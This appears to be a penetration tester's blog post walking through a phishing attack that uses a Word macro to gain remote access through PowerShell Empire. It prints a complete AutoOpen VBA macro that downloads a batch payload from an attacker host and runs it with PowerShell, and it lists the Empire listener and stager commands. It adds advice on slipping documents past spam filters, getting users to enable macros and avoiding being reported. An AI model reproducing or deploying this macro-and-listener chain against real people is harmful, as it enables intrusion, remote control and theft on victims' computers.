There are a number of methods which use macros in Office documents to deploy malware.  I came across one the other day that leverages a vulnerability in various versions of the .NET Framework.  

CVE 2017-8759 -- Microsoft .NET Framework versions allow an attacker to execute code remotely via a malicious document or application, aka ".NET Framework Remote Code Execution Vulnerability."

There are three pieces to this exploit -- the Word document, a text file which will get downloaded when the macros are enabled, and .hta file with a payload.  With a patched machine and current antivirus, I attempted to get this working but I could never get proper execution for whatever reason.

I like exploring this general avenue of attack because it's viable.  We can talk about dropping Metasploit executables all day long but that works in CTF situations and not in the real world.  In the real world, those payloads will never make it through the spam filter and they will never make it to the desktop without some sort of obfuscation technique.

On the other hand, macros are gold.  Using a legitimate mail server, we can easily get a document through the spam filter.  With social engineering, we can get the user to open the document and enable the macros.  It's all downhill from there.

Lately I've been working with PowerShell Empire.  I grew up on Metasploit and initially, I resisted Empire but I was forced to use it in a class.  I quickly saw the benefits -- the right tool for the job.  When I was thinking about this post, I thought of Empire.  The UI is quirky and not all of the screenshots capture the complete list of commands.  I've created the list in order below.  More on that when we get there.

We start off with a basic Word document:







If you hit Alt and F11, we open up the editor:

Sub AutoOpen()

If Len(Dir("c:\temp", vbDirectory)) = 0 Then
MkDir "c:\temp"
End If

Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "http://192.168.86.99:443/payload.bat", False
xHttp.Send

With bStrm
.Open
.Type = 1 '//binary
.write xHttp.responseBody
.savetofile "c:\temp\payload.bat", 2 '//overwrite
End With

Shell ("powershell c:\temp\payload.bat")

End Sub

In our macro, we check to see if c:\temp exists, if not, we create it.  We then download our payload and we save it into c:\temp.  Finally, we execute our payload.  I had some issues with using cmd /k which is why you see powershell instead.  

Now to our payload.  Here are all the steps:

listeners
uselistener http
info
execute
back
back
usestager windows/launder_bat
info
set Listener http
set OutFile /tmp/payload.bat
execute
back
back
agents

Walking through it in parts:

We setup a listener and we execute it.





Next, we create our payload and we're saving into the www directory of our attacking server.  

With everything setup, we pretend to be the unsuspecting victim, we open the document and we enable macros:






Back in Empire:






Excellent!  We see the connection.  When we run the agents command, we see that we have our victim hooked.  






In a previous post, I wrote about something similar but in that post I used Unicorn to create the macro.  Unicorn creates an obfuscated macro whereas this is obviously not obfuscated.  When you launch the Unicorn document, it throws an error and I think the point is to make it seem less suspicious.  I have mixed feelings about that and I think it's situational.  If one of our clients received a document that crashed when opened, we would get a call and possibly the document as well.  However, if a legitimate looking document were setup like I've done here, we probably wouldn't hear about it.  

This setup works on a fully patched Windows machine with current antivirus and it's not dependent on a vulnerability which may or may not get patched.